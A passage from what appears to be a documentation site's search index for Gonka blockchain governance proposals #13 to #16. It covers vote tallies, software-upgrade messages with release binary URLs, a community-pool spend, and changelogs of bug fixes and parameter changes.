"}, {"location": "proposals/proposals/2025-q4/13/#final-tally", "title": "Final Tally", "text": "Yes 428,459 (100.0%) No 0 (0.0%) Veto 0 (0.0%) Abstain 0 (0.0%) Total 428,459 votes"}, {"location": "proposals/proposals/2025-q4/13/#messages", "title": "Messages", "text": "# Type 1/cosmos.upgrade.v1beta1.MsgSoftwareUpgrade Contract Details [\n {\n \"@type\": \"/cosmos.upgrade.v1beta1.MsgSoftwareUpgrade\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"plan\": {\n \"name\": \"v0.2.5\",\n \"time\": \"0001-01-01T00:00:00Z\",\n \"height\": \"1404000\",\n \"info\": \"{\\n \\\"binaries\\\": {\\n \\\"linux/amd64\\\": \\\"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.5/inferenced-amd64.zip?checksum=sha256:fab7be9bcdb4e21f058e6d19cfd698b6862bf6f5a8aeecbf9165907fc7edcc64\\\"\\n },\\n \\\"api_binaries\\\": {\\n \\\"linux/amd64\\\": \\\"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.5/decentralized-api-amd64.zip?checksum=sha256:6fd12cd92e8226866be76a5e63a57e1b0041c7679db047af75e764e98668cb91\\\"\\n }\\n }\",\n \"upgraded_client_state\": null\n }\n }\n]\nThis document outlines the proposed changes for on-chain software upgrade v0.2.5. The Changes section details the major modifications, and the Upgrade Plan section describes the process for applying these changes.
This PR updates the code for the api and node services and introduces the new service bridge for the native bridge with Ethereum. The PR modifies the container versions in deploy/join/docker-compose.yml.
The binary versions will be updated via an on-chain upgrade proposal. For more information on the upgrade process, refer to /docs/upgrades.md.
Existing hosts are not required to upgrade their api and node containers. The updated container versions are intended for new hosts who join after the on-chain upgrade is complete.
v0.2.5 release will be created from this branch, and an on-chain upgrade proposal for this version will be submitted.Creating the release from this branch (instead of main) minimizes the time that the /deploy/join/ directory on the main branch contains container versions that do not match the on-chain binary versions, ensuring a smoother onboarding experience for new hosts.
The bridge container can be started any time after upgrade by:
Pulling the latest changes from main branch (after upgrade-v0.2.5 merged)
git pull\nStart
source config.env && docker compose up bridge -d\nIt'll take some time to synchronize.
New MLNode container v3.0.11 is fully compatible with v3.0.10 and can be updated asynchronously at any time. Additionally, the version v3.0.11-blackwell is introduced for Blackwell GPUs (CUDA 12.8+ required).
The PR introduces 3 contracts: - liquidity pool - wrapped token - Ethereum contract
All contracts might be proposed for voter approval via separate proposals.
"}, {"location": "proposals/proposals/2025-q4/13/full-proposal/#testing", "title": "Testing", "text": ""}, {"location": "proposals/proposals/2025-q4/13/full-proposal/#testnet", "title": "Testnet", "text": "The on-chain upgrade from version v0.2.4 to v0.2.5 has been successfully deployed and verified on the testnet.
We encourage all reviewers to request access to our testnet environment to validate the upgrade. Alternatively, reviewers can test the on-chain upgrade process on their own private testnets.
"}, {"location": "proposals/proposals/2025-q4/13/full-proposal/#migration", "title": "Migration", "text": "The on-chain migration logic and default values for new parameters are defined in upgrades.go.
Specific data migrations are implemented in: - migrations_confirmation_weight.go: Initializes confirmation weights for the current epoch. - migrations_bridge.go: Removes legacy bridge state and artifacts.
Note on Inactive Participant Exclusion: The parameters for the continuous exclusion of inactive participants (SPRT) are initialized with values that effectively disable the mechanism (requiring ~32k consecutive failures). This ensures the feature remains inactive until explicitly enabled via governance.
Note on Confirmation PoC: The Confirmation PoC parameters are initialized to require 1 Confirmation PoC per Epoch.
"}, {"location": "proposals/proposals/2025-q4/13/full-proposal/#changes", "title": "Changes", "text": ""}, {"location": "proposals/proposals/2025-q4/13/full-proposal/#native-bridge", "title": "Native Bridge", "text": "Commit: f7470c1eab3ebdda30dda90b0d81131b7b472a64.
This commit introduces primitives for native bridge for the Ethereum blockchain and contracts for its integration. Details can be found here.
"}, {"location": "proposals/proposals/2025-q4/13/full-proposal/#bls-signature-fix", "title": "BLS Signature fix", "text": "Commit: f7470c1eab3ebdda30dda90b0d81131b7b472a64.
This commit fixes a bug in BLS Group Public Key generation.
"}, {"location": "proposals/proposals/2025-q4/13/full-proposal/#participant-status-update", "title": "Participant Status Update", "text": "Commit: 101062297948f9a9574266adaf6439500502d6ba
This commit fixes the procedure for removing invalid and unavailable hosts from the EpochGroup. It also introduces a mechanism for continuously excluding inactive participants using SPRT.
Details: here
"}, {"location": "proposals/proposals/2025-q4/13/full-proposal/#confirmation-poc", "title": "Confirmation PoC", "text": "Commit: e9dbf137b0fbb050c724877b4b607da88ab1dc64
This commit introduces Random Confirmation PoC - a new layer to verify inference-serving nodes maintain computational capacity during the whole epoch.
Details: here
"}, {"location": "proposals/proposals/2025-q4/13/full-proposal/#new-schedule-for-poc_slottrue-nodes-who-serves-inference-during-poc", "title": "New Schedule forPOC_SLOT=true (nodes who serves inference during PoC)", "text": "Commit: 9ce1b6099529e69cdfd792f966efedb077c4ad86
The chain automatically assigns a portion of MLNodes to serve inference during the next PoC phase to keep inference working. The initial version assigned 50% of weight per participant per model. To raise security, this commit proposes allocation of POC_SLOT=true by model weight percentages instead of per-participant halves, using a random subset of participants who served this model in the previous epoch.
Details: here
"}, {"location": "proposals/proposals/2025-q4/13/full-proposal/#blackwell-support-for-mlnode-and-fixes", "title": "Blackwell Support for MLNode and Fixes", "text": "Commit: b77dcaca528ccfcf74e5f02d2bc90d55229a22f5
Fix for vLLM to support Blackwell GPUs (tested on B200).
"}, {"location": "proposals/proposals/2025-q4/13/full-proposal/#account-transfer-fix", "title": "Account transfer fix", "text": "Commit: 4228a70579c195fcb7b989ddf19006d0ddf1e8ae
The commit fixes the bug which used the full account balance to transfer instead of the spendable amount. Now locked coins and spendable are transferred separately.
"}, {"location": "proposals/proposals/2025-q4/13/full-proposal/#paginator-fix-for-getmembers", "title": "Paginator fix forGetMembers", "text": "Commit: bbce9f4f296c4df9b722367f47b162c9cb6f6d46
The commit fixes a bug with a missed paginator for the GetMembers function. This caused the selection of only a subset of miners. That might cause \"unknown\" status of validator.
Commit: 1352c131aff8713578033362b7dc2c3e22684277
The commit fixes the MLNode status check to assign status \"FAILED\" if the node is not responding. Additionally, it adds a retry mechanism when a host has multiple MLNodes for the model.
"}, {"location": "proposals/proposals/2025-q4/13/full-proposal/#recalculate-total-weight-after-punishment", "title": "Recalculate total weight after punishment", "text": "Commit: cf2d3931d2a1f8f9205194d12a4d7aa9b1d43980
The commit fixes a bug where undistributed rewards paid to the first host included rewards for invalid participants.
"}, {"location": "proposals/proposals/2025-q4/13/full-proposal/#bls-signature-fixes-aggreagation-and-format", "title": "BLS Signature Fixes: Aggreagation and format", "text": "Commit: e4bbb293f79ed0f368900092c9e65393ca25bfdf
This commit fixes aggregation of partial signatures and align format with Etherium pre-compiled.
"}, {"location": "proposals/proposals/2025-q4/13/full-proposal/#changing-default-mlnode-state-to-inference", "title": "Changing default MLNode state to INFERENCE", "text": "Commit: deefc869249c873377ae0feb0336aee3ac5034f1
This commite changes default state for ML nodes from STOPPED to INFERENCE. This allows to validate missed inferences for claming a reward even if a node is disabled for the next epoch
Fixed a bug: ML node host and port updates are now correctly propagated, previously old addresses were cached and even after editing them via admin API PoC start requests would be sent to the old address
--
"}, {"location": "proposals/proposals/2025-q4/14/", "title": "#14 – Sale GNK from Community Fund", "text": "Passed
Proposal ID: 14
Type: Community Pool Spend
Submit: 2025-11-26 09:35 UTC
Voting: 2025-11-26 09:35 UTC → 2025-11-27 09:35 UTC
Proposer: gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d
View on gonka.gg
Sale GNK from Community Fund
"}, {"location": "proposals/proposals/2025-q4/14/#final-tally", "title": "Final Tally", "text": "Yes 1,180,961 (98.8%) No 9,781 (0.8%) Veto 4,577 (0.4%) Abstain 0 (0.0%) Total 1,195,319 votes"}, {"location": "proposals/proposals/2025-q4/14/#messages", "title": "Messages", "text": "# Type 1/cosmos.distribution.v1beta1.MsgCommunityPoolSpend Contract Details [\n {\n \"@type\": \"/cosmos.distribution.v1beta1.MsgCommunityPoolSpend\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"recipient\": \"gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"20000000000000000\"\n }\n ]\n }\n]\nRejected
Proposal ID: 15
Type: Software Upgrade
Submit: 2025-12-16 11:12 UTC
Voting: 2025-12-16 11:12 UTC → 2025-12-17 11:12 UTC
Proposer: gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d
Metadata: https://github.com/gonka-ai/gonka/blob/384b95025f11cff177fa40ec191f724852f54edb/proposals/governance-artifacts/update-v0.2.6/README.md
Failed reason: proposal did not get enough votes to pass
View on gonka.gg
Upgrade Proposal: v0.2.6
"}, {"location": "proposals/proposals/2025-q4/15/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →"}, {"location": "proposals/proposals/2025-q4/15/#upgrade-proposal-v026", "title": "Upgrade Proposal: v0.2.6", "text": "This document outlines the proposed changes for on-chain software upgrade v0.2.6. The Changes section details the major modifications, and the Upgrade Plan section describes the process for applying these changes.
This PR updates the code for the api and node services. The PR modifies the container versions in deploy/join/docker-compose.yml.
The binary versions will be updated via an on-chain upgrade proposal. For more information on the upgrade process, refer to /docs/upgrades.md.
Existing hosts are not required to upgrade their api and node containers. The updated container versions are intended for new hosts who join after the on-chain upgrade is complete.
v0.2.6 release will be created from this branch, and an on-chain upgrade proposal for this version will be submitted.Creating the release from this branch (instead of main) minimizes the time that the /deploy/join/ directory on the main branch contains container versions that do not match the on-chain binary versions, ensuring a smoother onboarding experience for new hosts.
Off-chain payloads use file-based storage by default, which is suitable for small nodes. For larger deployments, payloads can optionally be stored in PostgreSQL. The database is defined in a separate docker-compose.postgres.yml file.
It's recommended to deploy PostgreSQL on a separate machine or at least point its volume to a separate disk.
Environment variables for PostgreSQL container (docker-compose.postgres.yml): - POSTGRES_PASSWORD (required) - POSTGRES_USER (default: payloads) - POSTGRES_DB (default: payloads) - POSTGRES_MIN_WAL_SIZE (default: 4GB) - POSTGRES_MAX_WAL_SIZE (default: 16GB) - POSTGRES_CHECKPOINT_TIMEOUT (default: 15min)
Environment variables for API to connect to PostgreSQL (docker-compose.yml): - POSTGRES_HOST - PostgreSQL host address (if not set, file storage is used) - POSTGRES_PASSWORD - PostgreSQL password - POSTGRES_PORT (default: 5432) - POSTGRES_USER (default: payloads) - POSTGRES_DB (default: payloads)
Start after upgrade:
git pull\nsource config.env && docker compose -f docker-compose.postgres.yml up -d\nThe on-chain upgrade from version v0.2.5 to v0.2.6 has been successfully deployed and verified on the testnet.
We encourage all reviewers to request access to our testnet environment to validate the upgrade. Alternatively, reviewers can test the on-chain upgrade process on their own private testnets.
"}, {"location": "proposals/proposals/2025-q4/15/#migration", "title": "Migration", "text": "The on-chain migration logic is defined in upgrades.go.
Migration sets new parameters: - PoC parameters (see \"PoC Parameters On-Chain\" in Changes section) - ValidationParams.ExpirationBlocks = 150 - ValidationParams.BinomTestP0 = 0.40 (temporary increase to ensure new payload storage stability) - BandwidthLimitsParams.MaxInferencesPerBlock = 1000 (adds absolute inference count limit per block, in addition to existing bandwidth-based KB limiting; divided among participants)
Commit: 477fb6e81
Moves inference prompts and response payloads off-chain. Only hashes are stored on-chain.
Motivation: Block size limit (22MB) and payload sizes (up to MBs for long responses) constrain throughput below compute capacity. Moving payloads off-chain reduces transaction size to ~500 bytes, removing bandwidth as a bottleneck.
Details: proposals/offchain-payloads/README.md
"}, {"location": "proposals/proposals/2025-q4/15/#transaction-batching", "title": "Transaction Batching", "text": "Commit: 288b37732
Batching for StartInference/FinishInference transactions.
"}, {"location": "proposals/proposals/2025-q4/15/#poc-parameters-on-chain", "title": "PoC Parameters On-Chain", "text": "Commits: 86ebd4d65, 806b01616, f41e05142
PoC parameters moved to on-chain governance. RTarget changed to 1.398077, increasing PoC difficulty ~2.5 times. Weights scaled by 2.5x to maintain absolute values.
"}, {"location": "proposals/proposals/2025-q4/15/#bls-dealershared-recovery", "title": "BLS DealerShared Recovery", "text": "Commit: 5b22aafd5
Enables BLS secret recovery when container restarts.
"}, {"location": "proposals/proposals/2025-q4/15/#nodes-always-available", "title": "Nodes Always Available", "text": "Commit: 093c2e36a
Nodes remain available for inference even when disabled for next epoch.
"}, {"location": "proposals/proposals/2025-q4/15/#nats-storage-fix", "title": "NATS Storage Fix", "text": "Commit: ae938d357
NATS messages retained for 24 hours instead of forever. Resolves issue with large .dapi/.nats directory.
Commit: fe02ed509
Enables reward recovery even when stored seed is missing or corrupted. Seed can now be regenerated deterministically from epoch number, allowing recovery for any epoch.
"}, {"location": "proposals/proposals/2025-q4/15/#epoch-performance-query", "title": "Epoch Performance Query", "text": "Commit: 08ad82a7b
Adds EpochPerformanceSummaryAll query endpoint.
Commit: fae7d20a5
Limits PoC batch queue per GPU to prevent one GPU from accumulating all batches. Ensures even distribution across multiple GPUs.
"}, {"location": "proposals/proposals/2025-q4/15/#claimreward-performance", "title": "ClaimReward Performance", "text": "Commits: 19755e70d, 933eeb296, 8df8a1cf9
Optimizes ClaimReward transaction processing with reservoir sampling, debouncing, and ShouldValidate improvements. Reduces processing time from 1.6s to ~20ms for 1M inferences (~80x speedup). ShouldValidate call optimized from 2800ns to 1030ns (2.7x speedup).
"}, {"location": "proposals/proposals/2025-q4/15/#poc-confirmation-weight-fix-bounty-bug", "title": "PoC Confirmation Weight Fix [Bounty Bug]", "text": "Commit: b44d51e0c
Fixes bug where PoC miners who didn't submit batches during Confirmation PoC incorrectly kept their confirmation weight. Now sets ConfirmationWeight to 0 for participants who didn't submit batches and have weight to confirm.
Found by: maksimenkoff Proposed Reward: 20,000 GNK
"}, {"location": "proposals/proposals/2025-q4/15/#upgrade-rewards-distribution", "title": "Upgrade Rewards Distribution", "text": "Commit: 676f5e620
Upgrade handler includes reward distribution for previous upgrades v0.2.4 and v0.2.5. Rewards are distributed to PR reviewers proportionally to node weight and contributions. Details in upgrades.go.
"}, {"location": "proposals/proposals/2025-q4/15/#final-tally", "title": "Final Tally", "text": "Yes 1,034,445 (100.0%) No 0 (0.0%) Veto 0 (0.0%) Abstain 0 (0.0%) Total 1,034,445 votes"}, {"location": "proposals/proposals/2025-q4/15/#messages", "title": "Messages", "text": "# Type 1/cosmos.upgrade.v1beta1.MsgSoftwareUpgrade Contract Details [\n {\n \"@type\": \"/cosmos.upgrade.v1beta1.MsgSoftwareUpgrade\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"plan\": {\n \"name\": \"v0.2.6\",\n \"time\": \"0001-01-01T00:00:00Z\",\n \"height\": \"1773000\",\n \"info\": \"{\\n \\\"binaries\\\": {\\n \\\"linux/amd64\\\": \\\"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.6/inferenced-amd64.zip?checksum=sha256:cdbcfe214ce7eb2bab993bb344447b84602fb77e32c9a05f48e0671dd469c832\\\"\\n },\\n \\\"api_binaries\\\": {\\n \\\"linux/amd64\\\": \\\"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.6/decentralized-api-amd64.zip?checksum=sha256:abb5e3ba1db4beb6c1109b5a0cd1fbf226e19c108dc4f30a565582056123c394\\\"\\n }\\n }\",\n \"upgraded_client_state\": null\n }\n }\n]\nThis document outlines the proposed changes for on-chain software upgrade v0.2.6. The Changes section details the major modifications, and the Upgrade Plan section describes the process for applying these changes.
This PR updates the code for the api and node services. The PR modifies the container versions in deploy/join/docker-compose.yml.
The binary versions will be updated via an on-chain upgrade proposal. For more information on the upgrade process, refer to /docs/upgrades.md.
Existing hosts are not required to upgrade their api and node containers. The updated container versions are intended for new hosts who join after the on-chain upgrade is complete.
v0.2.6 release will be created from this branch, and an on-chain upgrade proposal for this version will be submitted.Creating the release from this branch (instead of main) minimizes the time that the /deploy/join/ directory on the main branch contains container versions that do not match the on-chain binary versions, ensuring a smoother onboarding experience for new hosts.
Off-chain payloads use file-based storage by default, which is suitable for small nodes. For larger deployments, payloads can optionally be stored in PostgreSQL. The database is defined in a separate docker-compose.postgres.yml file.
It's recommended to deploy PostgreSQL on a separate machine or at least point its volume to a separate disk.
Environment variables for PostgreSQL container (docker-compose.postgres.yml): - POSTGRES_PASSWORD (required) - POSTGRES_USER (default: payloads) - POSTGRES_DB (default: payloads) - POSTGRES_MIN_WAL_SIZE (default: 4GB) - POSTGRES_MAX_WAL_SIZE (default: 16GB) - POSTGRES_CHECKPOINT_TIMEOUT (default: 15min)
Environment variables for API to connect to PostgreSQL (docker-compose.yml): - POSTGRES_HOST - PostgreSQL host address (if not set, file storage is used) - POSTGRES_PASSWORD - PostgreSQL password - POSTGRES_PORT (default: 5432) - POSTGRES_USER (default: payloads) - POSTGRES_DB (default: payloads)
Start after upgrade:
git pull\nsource config.env && docker compose -f docker-compose.postgres.yml up -d\nThe on-chain upgrade from version v0.2.5 to v0.2.6 has been successfully deployed and verified on the testnet.
We encourage all reviewers to request access to our testnet environment to validate the upgrade. Alternatively, reviewers can test the on-chain upgrade process on their own private testnets.
"}, {"location": "proposals/proposals/2025-q4/15/full-proposal/#migration", "title": "Migration", "text": "The on-chain migration logic is defined in upgrades.go.
Migration sets new parameters: - PoC parameters (see \"PoC Parameters On-Chain\" in Changes section) - ValidationParams.ExpirationBlocks = 150 - ValidationParams.BinomTestP0 = 0.40 (temporary increase to ensure new payload storage stability) - BandwidthLimitsParams.MaxInferencesPerBlock = 1000 (adds absolute inference count limit per block, in addition to existing bandwidth-based KB limiting; divided among participants)
Commit: 477fb6e81
Moves inference prompts and response payloads off-chain. Only hashes are stored on-chain.
Motivation: Block size limit (22MB) and payload sizes (up to MBs for long responses) constrain throughput below compute capacity. Moving payloads off-chain reduces transaction size to ~500 bytes, removing bandwidth as a bottleneck.
Details: proposals/offchain-payloads/README.md
"}, {"location": "proposals/proposals/2025-q4/15/full-proposal/#transaction-batching", "title": "Transaction Batching", "text": "Commit: 288b37732
Batching for StartInference/FinishInference transactions.
"}, {"location": "proposals/proposals/2025-q4/15/full-proposal/#poc-parameters-on-chain", "title": "PoC Parameters On-Chain", "text": "Commits: 86ebd4d65, 806b01616, f41e05142
PoC parameters moved to on-chain governance. RTarget changed to 1.398077, increasing PoC difficulty ~2.5 times. Weights scaled by 2.5x to maintain absolute values.
"}, {"location": "proposals/proposals/2025-q4/15/full-proposal/#bls-dealershared-recovery", "title": "BLS DealerShared Recovery", "text": "Commit: 5b22aafd5
Enables BLS secret recovery when container restarts.
"}, {"location": "proposals/proposals/2025-q4/15/full-proposal/#nodes-always-available", "title": "Nodes Always Available", "text": "Commit: 093c2e36a
Nodes remain available for inference even when disabled for next epoch.
"}, {"location": "proposals/proposals/2025-q4/15/full-proposal/#nats-storage-fix", "title": "NATS Storage Fix", "text": "Commit: ae938d357
NATS messages retained for 24 hours instead of forever. Resolves issue with large .dapi/.nats directory.
Commit: fe02ed509
Enables reward recovery even when stored seed is missing or corrupted. Seed can now be regenerated deterministically from epoch number, allowing recovery for any epoch.
"}, {"location": "proposals/proposals/2025-q4/15/full-proposal/#epoch-performance-query", "title": "Epoch Performance Query", "text": "Commit: 08ad82a7b
Adds EpochPerformanceSummaryAll query endpoint.
Commit: fae7d20a5
Limits PoC batch queue per GPU to prevent one GPU from accumulating all batches. Ensures even distribution across multiple GPUs.
"}, {"location": "proposals/proposals/2025-q4/15/full-proposal/#claimreward-performance", "title": "ClaimReward Performance", "text": "Commits: 19755e70d, 933eeb296, 8df8a1cf9
Optimizes ClaimReward transaction processing with reservoir sampling, debouncing, and ShouldValidate improvements. Reduces processing time from 1.6s to ~20ms for 1M inferences (~80x speedup). ShouldValidate call optimized from 2800ns to 1030ns (2.7x speedup).
"}, {"location": "proposals/proposals/2025-q4/15/full-proposal/#poc-confirmation-weight-fix-bounty-bug", "title": "PoC Confirmation Weight Fix [Bounty Bug]", "text": "Commit: b44d51e0c
Fixes bug where PoC miners who didn't submit batches during Confirmation PoC incorrectly kept their confirmation weight. Now sets ConfirmationWeight to 0 for participants who didn't submit batches and have weight to confirm.
Found by: maksimenkoff Proposed Reward: 20,000 GNK
"}, {"location": "proposals/proposals/2025-q4/15/full-proposal/#upgrade-rewards-distribution", "title": "Upgrade Rewards Distribution", "text": "Commit: 676f5e620
Upgrade handler includes reward distribution for previous upgrades v0.2.4 and v0.2.5. Rewards are distributed to PR reviewers proportionally to node weight and contributions. Details in upgrades.go.
"}, {"location": "proposals/proposals/2025-q4/16/", "title": "#16 – Upgrade Proposal: v0.2.6", "text": "Passed
Proposal ID: 16
Type: Software Upgrade
Submit: 2025-12-19 17:09 UTC
Voting: 2025-12-19 17:09 UTC → 2025-12-20 17:09 UTC
Proposer: gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d
Metadata: https://github.com/gonka-ai/gonka/commit/5be305ad380db8854313d2b0369049c8105f681b/proposals/governance-artifacts/update-v0.2.6/README.md
View on gonka.gg
Upgrade Proposal: v0.2.6
"}, {"location": "proposals/proposals/2025-q4/16/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →"}, {"location": "proposals/proposals/2025-q4/16/#upgrade-proposal-v026", "title": "Upgrade Proposal: v0.2.6", "text": "This document outlines the proposed changes for on-chain software upgrade v0.2.6. The Changes section details the major modifications, and the Upgrade Plan section describes the process for applying these changes.
This PR updates the code for the api and node services. The PR modifies the container versions in deploy/join/docker-compose.yml.
The binary versions will be updated via an on-chain upgrade proposal. For more information on the upgrade process, refer to /docs/upgrades.md.
Existing hosts are not required to upgrade their api and node containers. The updated container versions are intended for new hosts who join after the on-chain upgrade is complete.
v0.2.6 release will be created from this branch, and an on-chain upgrade proposal for this version will be submitted.Creating the release from this branch (instead of main) minimizes the time that the /deploy/join/ directory on the main branch contains container versions that do not match the on-chain binary versions, ensuring a smoother onboarding experience for new hosts.
Off-chain payloads use file-based storage by default, which is suitable for small nodes. For larger deployments, payloads can optionally be stored in PostgreSQL. The database is defined in a separate docker-compose.postgres.yml file.
It's recommended to deploy PostgreSQL on a separate machine or at least point its volume to a separate disk.
Environment variables for PostgreSQL container (docker-compose.postgres.yml): - POSTGRES_PASSWORD (required) - POSTGRES_USER (default: payloads) - POSTGRES_DB (default: payloads) - POSTGRES_MIN_WAL_SIZE (default: 4GB) - POSTGRES_MAX_WAL_SIZE (default: 16GB) - POSTGRES_CHECKPOINT_TIMEOUT (default: 15min)
Environment variables for API to connect to PostgreSQL (docker-compose.yml): - POSTGRES_HOST - PostgreSQL host address (if not set, file storage is used) - POSTGRES_PASSWORD - PostgreSQL password - POSTGRES_PORT (default: 5432) - POSTGRES_USER (default: payloads) - POSTGRES_DB (default: payloads)
Start after upgrade:
git pull\nsource config.env && docker compose -f docker-compose.postgres.yml up -d\nThe on-chain upgrade from version v0.2.5 to v0.2.6 has been successfully deployed and verified on the testnet.
We encourage all reviewers to request access to our testnet environment to validate the upgrade. Alternatively, reviewers can test the on-chain upgrade process on their own private testnets.
"}, {"location": "proposals/proposals/2025-q4/16/#migration", "title": "Migration", "text": "The on-chain migration logic is defined in upgrades.go.
Migration sets new parameters: - PoC parameters (see \"PoC Parameters On-Chain\" in Changes section) - ValidationParams.ExpirationBlocks = 150 - ValidationParams.BinomTestP0 = 0.40 (temporary increase to ensure new payload storage stability) - BandwidthLimitsParams.MaxInferencesPerBlock = 1000 (adds absolute inference count limit per block, in addition to existing bandwidth-based KB limiting; divided among participants)
Commit: 477fb6e81
Moves inference prompts and response payloads off-chain. Only hashes are stored on-chain.
Motivation: Block size limit (22MB) and payload sizes (up to MBs for long responses) constrain throughput below compute capacity. Moving payloads off-chain reduces transaction size to ~500 bytes, removing bandwidth as a bottleneck.
Details: proposals/offchain-payloads/README.md
"}, {"location": "proposals/proposals/2025-q4/16/#transaction-batching", "title": "Transaction Batching", "text": "Commit: 288b37732
Batching for StartInference/FinishInference transactions.
"}, {"location": "proposals/proposals/2025-q4/16/#poc-parameters-on-chain", "title": "PoC Parameters On-Chain", "text": "Commits: 86ebd4d65, 806b01616, f41e05142
PoC parameters moved to on-chain governance. RTarget changed to 1.398077, increasing PoC difficulty ~2.5 times. Weights scaled by 2.5x to maintain absolute values.
"}, {"location": "proposals/proposals/2025-q4/16/#bls-dealershared-recovery", "title": "BLS DealerShared Recovery", "text": "Commit: 5b22aafd5
Enables BLS secret recovery when container restarts.
"}, {"location": "proposals/proposals/2025-q4/16/#nodes-always-available", "title": "Nodes Always Available", "text": "Commit: 093c2e36a
Nodes remain available for inference even when disabled for next epoch.
"}, {"location": "proposals/proposals/2025-q4/16/#nats-storage-fix", "title": "NATS Storage Fix", "text": "Commit: ae938d357
NATS messages retained for 24 hours instead of forever. Resolves issue with large .dapi/.nats directory.
Commit: fe02ed509
Enables reward recovery even when stored seed is missing or corrupted. Seed can now be regenerated deterministically from epoch number, allowing recovery for any epoch.
"}, {"location": "proposals/proposals/2025-q4/16/#epoch-performance-query", "title": "Epoch Performance Query", "text": "Commit: 08ad82a7b
Adds EpochPerformanceSummaryAll query endpoint.
Commit: fae7d20a5
Limits PoC batch queue per GPU to prevent one GPU from accumulating all batches. Ensures even distribution across multiple GPUs.
"}, {"location": "proposals/proposals/2025-q4/16/#claimreward-performance", "title": "ClaimReward Performance", "text": "Commits: 19755e70d, 933eeb296, 8df8a1cf9
Optimizes ClaimReward transaction processing with reservoir sampling, debouncing, and ShouldValidate improvements. Reduces processing time from 1.6s to ~20ms for 1M inferences (~80x speedup). ShouldValidate call optimized from 2800ns to 1030ns (2.7x speedup).
"}, {"location": "proposals/proposals/2025-q4/16/#poc-confirmation-weight-fix-bounty-bug", "title": "PoC Confirmation Weight Fix [Bounty Bug]", "text": "Commit: b44d51e0c
Fixes bug where PoC miners who didn't submit batches during Confirmation PoC incorrectly kept their confirmation weight. Now sets ConfirmationWeight to 0 for participants who didn't submit batches and have weight to confirm.
Found by: maksimenkoff Proposed Reward: 20,000 GNK
"}, {"location": "proposals/proposals/2025-q4/16/#upgrade-rewards-distribution", "title": "Upgrade Rewards Distribution", "text": "Commit: 676f5e620
Upgrade handler includes reward distribution for previous upgrades v0.2.4 and v0.2.5. Rewards are distributed to PR reviewers proportionally to node weight and contributions. Details in upgrades.go.
"}, {"location": "proposals/proposals/2025-q4/16/#final-tally", "title": "Final Tally", "text": "Yes 1,985,917 (100.0%) No 0 (0.0%) Veto 0 (0.0%) Abstain 0 (0.0%) Total 1,985,917 votes"}, {"location": "proposals/proposals/2025-q4/16/#messages", "title": "Messages", "text": "# Type 1/cosmos.upgrade.v1beta1.MsgSoftwareUpgrade Contract Details [\n {\n \"@type\": \"/cosmos.upgrade.v1beta1.MsgSoftwareUpgrade\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"plan\": {\n \"name\": \"v0.2.6\",\n \"time\": \"0001-01-01T00:00:00Z\",\n \"height\": \"1820000\",\n \"info\": \"{\\n \\\"binaries\\\": {\\n \\\"linux/amd64\\\": \\\"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.6-post1/inferenced-amd64.zip?checksum=sha256:afa5772b8c7014d3fd9015651aa543ace4196c227ce59ee3f9fed3fcd98f4650\\\"\\n },\\n \\\"api_binaries\\\": {\\n \\\"linux/amd64\\\": \\\"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.6-post1/decentralized-api-amd64.zip?checksum=sha256:52ac4c55313f77eff7da4f7160396837c8810f9bf84a860c21c0299599968aaa\\\"\\n }\\n }\",\n \"upgraded_client_state\": null\n }\n }\n]\nThis document outlines the proposed changes for on-chain software upgrade v0.2.6. The Changes section details the major modifications, and the Upgrade Plan section describes the process for applying these changes.
This PR updates the code for the api and node services. The PR modifies the container versions in deploy/join/docker-compose.yml.
The binary versions will be updated via an on-chain upgrade proposal. For more information on the upgrade process, refer to /docs/upgrades.md.
Existing hosts are not required to upgrade their api and node containers. The updated container versions are intended for new hosts who join after the on-chain upgrade is complete.
v0.2.6 release will be created from this branch, and an on-chain upgrade proposal for this version will be submitted.Creating the release from this branch (instead of main) minimizes the time that the /deploy/join/ directory on the main branch contains container versions that do not match the on-chain binary versions, ensuring a smoother onboarding experience for new hosts.
Off-chain payloads use file-based storage by default, which is suitable for small nodes. For larger deployments, payloads can optionally be stored in PostgreSQL. The database is defined in a separate docker-compose.postgres.yml file.
It's recommended to deploy PostgreSQL on a separate machine or at least point its volume to a separate disk.
Environment variables for PostgreSQL container (docker-compose.postgres.yml): - POSTGRES_PASSWORD (required) - POSTGRES_USER (default: payloads) - POSTGRES_DB (default: payloads) - POSTGRES_MIN_WAL_SIZE (default: 4GB) - POSTGRES_MAX_WAL_SIZE (default: 16GB) - POSTGRES_CHECKPOINT_TIMEOUT (default: 15min)
Environment variables for API to connect to PostgreSQL (docker-compose.yml): - POSTGRES_HOST - PostgreSQL host address (if not set, file storage is used) - POSTGRES_PASSWORD - PostgreSQL password - POSTGRES_PORT (default: 5432) - POSTGRES_USER (default: payloads) - POSTGRES_DB (default: payloads)
Start after upgrade:
git pull\nsource config.env && docker compose -f docker-compose.postgres.yml up -d\nThe on-chain upgrade from version v0.2.5 to v0.2.6 has been successfully deployed and verified on the testnet.
We encourage all reviewers to request access to our testnet environment to validate the upgrade. Alternatively, reviewers can test the on-chain upgrade process on their own private testnets.
"}, {"location": "proposals/proposals/2025-q4/16/full-proposal/#migration", "title": "Migration", "text": "The on-chain migration logic is defined in upgrades.go.
